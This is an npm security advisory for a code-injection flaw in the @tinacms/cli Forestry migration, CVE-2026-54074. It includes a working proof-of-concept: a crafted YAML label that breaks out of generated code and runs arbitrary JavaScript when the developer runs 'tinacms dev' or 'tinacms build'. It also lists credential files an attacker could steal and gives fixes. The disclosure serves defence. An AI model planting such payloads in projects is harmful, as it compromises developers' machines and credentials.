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Open-source package vulnerability · npm

CVE-2026-54074: @tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels

highCVSS 3.1 7.8GHSA-4936-9hrh-qqpw

Description Summary @tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINAINTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry//.yml are placed into that JSON without any sanitisation.

Published Jun 19, 2026

Affected packages

@tinacms/cli

Ecosystem
npm
Affected
< 2.4.3
Fixed in
2.4.3
Check
npm ls @tinacms/cli

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Description

Summary

@tinacms/cli contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs `tinacms dev` or `tinacms build`, with the developer's privileges.

Details

Vulnerable code path:

  1. packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts — transformForestryFieldsToTinaFields() writes forestryField.label (and .name) straight into TinaField objects (no sanitisation).
  2. packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:
   export const addVariablesToCode = (codeWithTinaPrefix: string) => {
     const code = codeWithTinaPrefix.replace(
       /"__TINA_INTERNAL__:::(.*?):::"/g,
       '$1'
     );
     return { code };
   };
  1. codeTransformer.ts lines 80-88 — the field array is JSON.stringify-ed and then handed to addVariablesToCode. Because JSON.stringify does not escape single quotes or backticks, an attacker who avoids " in the payload survives the JSON pass intact.
  2. packages/@tinacms/cli/src/cmds/init/apply.ts lines 110-116 — the resulting string is written to tina/templates.{ts,js} and imported by the generated tina/config.{ts,js}, which tinacms dev evaluates.

Why it executes immediately: the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing xxxFields() function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant tina/config.ts imports ./templates.

PoC

End-to-end verified against tinacms and @tinacms/[email protected], built from commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24 (behaviour is identical on Node 22).

Step 1 — attacker prepares a malicious Forestry project

.forestry/settings.yml

---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
  path: content/posts
  label: Posts
  create: all
  match: "**/*.md"
  templates:
  - rce

.forestry/front_matter/templates/rce.yml

---
label: rce_template
fields:
- name: title
  type: text
  label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"

Note on payload encoding. The original disclosure draft used double > quotes inside the payload (console.log("RCE")). JSON.stringify escapes > those to \", which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed.

Step 2 — victim runs the standard onboarding flow

git clone <attacker repo>
cd <attacker repo>
npx tinacms init       # accepts the "migrate Forestry templates?" prompt
npx tinacms dev        # OR: npx tinacms build

Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)

import type { TinaField } from "tinacms";
export function rce_templateFields() {
  return [{ type: "string", name: "title", label: 1 }];
}
(function () {                                          // <-- TOP-LEVEL IIFE
  const fs = require("fs");
  const os = require("os");
  fs.writeFileSync(
    require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
    "RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
  );
  console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
  return [{ x: 1 }] as TinaField[];
}

Step 4 — observed result

$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')

$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z

The === RCE SUCCESSFUL === line is printed before the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation.

Impact

  • Class: Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build).
  • Attack vector: Any developer who runs tinacms init on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs tinacms dev or tinacms build.
  • Privileges obtained: Full execution under the developer's user account. Practical consequences include:
  • Exfiltration of environment variables, .env files, SSH keys, ~/.aws/credentials, ~/.npmrc tokens, ~/.config/gh/hosts.yml.
  • Source-code modification (planting backdoors before the developer's next commit / publish).
  • Supply-chain abuse via the developer's npm publish and git push credentials.
  • Persistence via shell rc files or scheduled tasks.
  • Authentication: None required from the attacker.
  • User interaction: Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes".

Suggested Remediation

Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content.

Option A — sanitise user-controlled strings (the disclosure draft's proposal)

// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
  typeof str === 'string'
    ? str.replace(/__TINA_INTERNAL__:::/g, '')
    : str;

Apply to every user-controlled string that flows into a TinaField object — at minimum forestryField.label, forestryField.name, forestryField.template, forestryField.config.options[*], forestryField.config.source.section, and the equivalents on nested fields/template_types recursive paths.

Option B — change the marker to a sequence that cannot survive JSON.stringify of user data

// codeTransformer.ts
const MARKER_OPEN  = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';

export const addVariablesToCode = (s: string) => ({
  code: s.replace(
    new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
    '$1'
  ),
});

JSON.stringify escapes ` to the six-character sequence , so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (makeFieldsWithInternalCode) keep emitting real ` bytes, so the legitimate flow continues to work and no user content is silently mutated.

Defence-in-depth

Regardless of which option ships, the migration code should also:

  • Reject forestryField.label / .name that contain newlines or NUL bytes (Forestry never produced them).
  • Wrap the eventual prettier.format(...) call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way).

---

Credit

Reported by AnGrY-Althaf ([email protected]).

End-to-end PoC executed locally against [email protected] / @tinacms/[email protected] built from commit ae1ab5d0f of https://github.com/tinacms/tinacms.

Credited to AnGrY-Althaf.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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